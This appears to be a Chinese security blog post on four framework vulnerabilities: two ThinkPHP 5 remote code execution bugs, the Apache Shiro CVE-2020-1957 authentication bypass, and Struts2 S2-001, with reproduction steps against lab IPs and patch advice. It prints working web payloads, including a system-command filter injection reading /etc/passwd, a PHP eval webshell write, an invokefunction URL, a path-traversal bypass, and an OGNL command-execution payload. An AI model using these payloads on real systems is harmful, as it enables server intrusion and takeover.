框架漏洞-RCE

一:ThinkPHP 5.0.23 远程代码执行漏洞

1:漏洞描述

Thinkphp5.0.23存在远程代码执行漏洞

2:漏洞原理

在版本5.0(<5.0.24)中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

3:漏洞复现

  • 漏洞位置:http://172.16.16.78:8080/index.php?s=captcha
  • Payload:_method=__construt&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令
  • 通过抓包,构建payload:_method=__construt&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
  • 漏洞截图
 
  • 写入一句话木马:echo'<?php eval($php eval($_POST[666]);?>' > 666.php)
 
漏洞截图:
 
 
 
 
 
 
4:修复建议

1:升级ThinkPHP至安全版本

修复方法1.打开

Thinkphp/library/think/Request.php

搜索

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

改成:

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $method = strtoupper($_POST[Config::get('var_method')]);
                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                    $this->method = $method;
                    $this->{$this->method}($_POST);
                } else {
                    $this->method = 'POST';
                }
                unset($_POST[Config::get('var_method')]);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

保存,覆盖 测试无误 漏洞修复完成。

二:ThinkPHP-5-rce

漏洞描述

其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞

漏洞范围

http://192.168.116.134:8080/index.php

漏洞原理

构造闭环创建payload

http://192.168.116.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

漏洞复现

修复建议

使用拦截器进行对requesthost进行了验证

头攻击检测

 是否在白名单内

* @param host

* @return

 

三:Apache Shiro 认证绕过漏洞

1:漏洞描述

Apache shiro存在认证绕过漏洞,漏洞编号:CVE-2020-1957

2:漏洞原理

Apache Shiro1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。

Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。

anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,比如:/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。

假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。

3:漏洞复现

访问url

  • :使用burp suite抓包,并访问admin,状态码为:302

  • :访问/xxxx路径,状态码为:404

  • :两个路径组合后:状态码为:404

  • :当路径为/xxx/..;/admin/时,状态为200

  • :绕过成功

4:修复建议

1:更新版本

2:尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。

四:Apache Struts2

S2-001 远程代码执行漏洞

漏洞描述

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

漏洞范围

http://192.168.116.134:8080/login.action登表单录

漏洞原理

提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞复现

修复建议

影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本

修复方法:更新更新更新~~~升级Struts到2.5.13最新版本

临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型

在struts.xml配置文件中加入:

<constantname="struts.action.extension" value="xhtml,,json" />

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值